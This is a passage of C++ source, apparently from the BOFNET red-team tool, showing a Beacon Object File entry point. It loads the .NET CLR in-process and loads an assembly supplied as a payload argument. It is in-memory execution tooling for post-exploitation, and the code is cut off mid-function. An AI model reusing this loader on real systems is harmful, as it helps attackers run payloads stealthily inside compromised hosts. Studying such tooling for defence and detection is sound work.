| 350 | |
| 351 | |
| 352 | extern "C" void go(char* args , int len) { |
| 353 | |
| 354 | BOF_LOCAL(msvcrt, strcmp); |
| 355 | BOF_LOCAL(msvcrt, memcpy); |
| 356 | BOF_LOCAL(msvcrt, strlen); |
| 357 | BOF_LOCAL(OleAut32, SysAllocString); |
| 358 | BOF_LOCAL(OleAut32, SafeArrayCreate); |
| 359 | BOF_LOCAL(OleAut32, SafeArrayDestroy); |
| 360 | |
| 361 | HRESULT hr; |
| 362 | mscorlib::_Assembly* bofnetAssembly = nullptr; |
| 363 | mscorlib::_Type* bofnetInitalizerType = nullptr; |
| 364 | char bofName[MAX_BOF_NAME]; |
| 365 | |
| 366 | if(len == 0){ |
| 367 | log("[+] No arguments specified for bofnet_execute, don't know what to do!\n", 0); |
| 368 | return; |
| 369 | } |
| 370 | |
| 371 | msvcrt$sscanf_s(args, "%s", bofName, sizeof(bofName)); |
| 372 | |
| 373 | icrh = loadCLR(true); |
| 374 | if(icrh == nullptr){ |
| 375 | return; |
| 376 | } |
| 377 | |
| 378 | mscorlib::_AppDomain* bofnetAppDomain = getAppDomain(icrh, L"BOFNET"); |
| 379 | |
| 380 | if(bofnetAppDomain == nullptr){ |
| 381 | log("[!] Failed to get BOFNET app domain\n", 0); |
| 382 | return; |
| 383 | } |
| 384 | |
| 385 | if(strcmp(bofName, "BOFNET.Bofs.Initializer") == 0){ |
| 386 | |
| 387 | hr = bofnetAppDomain->Load_2(SysAllocString(L"BOFNET"), &bofnetAssembly); |
| 388 | |
| 389 | if(bofnetAssembly == nullptr){ |
| 390 | int bofnetRuntimeOffset = strlen(bofName) + 1; |
| 391 | int bofnetRuntimeSize = len - bofnetRuntimeOffset; |
| 392 | |
| 393 | if(bofnetRuntimeSize == 0){ |
| 394 | log("[!] No BOFNET runtime payload supplied, bailing!", 0); |
| 395 | return; |
| 396 | } |
| 397 | |
| 398 | bofnetAssembly = loadAssembly(bofnetAppDomain, args+bofnetRuntimeOffset, bofnetRuntimeSize); |
| 399 | |
| 400 | if(bofnetAssembly == nullptr){ |
| 401 | return; |
| 402 | } |
| 403 | |
| 404 | }else{ |
| 405 | log("[=] Looks like the BOFNET runtime is already loaded, ignoring initialize request\n", 0); |
| 406 | return; |
| 407 | } |
| 408 | }else if(strcmp(bofName, "BOFNET.Bofs.Shutdown") == 0){ |
| 409 | log("[+] Unloading BOFNET", 0); |
nothing calls this directly
no test coverage detected